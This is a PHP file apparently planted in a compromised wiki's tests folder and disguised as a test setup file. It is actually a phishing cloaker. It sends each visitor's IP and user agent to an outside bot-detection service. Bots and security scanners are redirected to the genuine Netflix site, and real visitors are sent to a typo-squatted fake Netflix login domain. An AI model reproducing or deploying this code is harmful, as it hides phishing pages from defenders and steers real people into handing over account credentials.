Current File : /home/jvzmxxx/wiki1/tests/common/TestSetup2.php
<?php 
error_reporting();
session_start();

#######################################################################################################
$config_antibot['apikey']   = 'aae64360dbcbc9865f14de5e32f724bc'; //https://antibot.pw/developers
$config_antibot['bot']      = 'https://netflix.com';
$config_antibot['real']     = 'https://logln-memberareaauthen.netfilx.corn.biunnjunmi.com/?member';
#######################################################################################################

class Antibot
{
    function apikey($api_key){
        $this->apikey = $api_key;
    }
    function get_client_ip() {
        $ipaddress = '';
        if (getenv('HTTP_CLIENT_IP')){
            $ipaddress = getenv('HTTP_CLIENT_IP');
        }
        if(getenv('HTTP_X_FORWARDED_FOR')){
            $ipaddress = getenv('HTTP_X_FORWARDED_FOR');
        }
        if(getenv('HTTP_X_FORWARDED')){
            $ipaddress = getenv('HTTP_X_FORWARDED');
        }
        if(getenv('HTTP_FORWARDED_FOR')){
            $ipaddress = getenv('HTTP_FORWARDED_FOR');
        }
        if(getenv('HTTP_FORWARDED')){
           $ipaddress = getenv('HTTP_FORWARDED');
        }
        if(getenv('REMOTE_ADDR')){
            $ipaddress = getenv('REMOTE_ADDR');
        }
        $ipaddress = explode(",",  $ipaddress);
        if(preg_match("/::1|127.0.0.1/", $ipaddress[0])){
            $ipaddress[0] = '23.200.91.255';
        }
        return $ipaddress[0];
    }
    function httpGet($url){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $response = curl_exec($ch);
        return $response;
    }
    function check(){
        $ip         = $this->get_client_ip();
        $respons    = $this->httpGet("https://antibot.pw/api/v2-blockers?ip=".$ip."&apikey=".$this->apikey."&ua=".urlencode($_SERVER['HTTP_USER_AGENT']));
        $json       = json_decode($respons,true);
        if($json['is_bot'] == 1 || $json['is_bot'] == true){
            return true;
        }else{
            return false;
        }
    }
}
$Antibot = new Antibot;
$Antibot->apikey( $config_antibot['apikey'] );
if($Antibot->check() == true){
    die(header("location: ".$config_antibot['bot']));
}else{
    die(header("location: ".$config_antibot['real']));
}
?>